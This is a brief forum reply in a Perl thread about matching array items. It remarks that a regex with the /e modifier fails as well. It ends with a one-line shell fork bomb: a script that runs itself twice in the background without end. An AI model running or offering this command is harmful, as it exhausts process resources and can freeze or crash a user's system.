in reply to Best way to match items in an array

Update: Whoops, guess I can't do file =~ /$suffix$/e either...

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;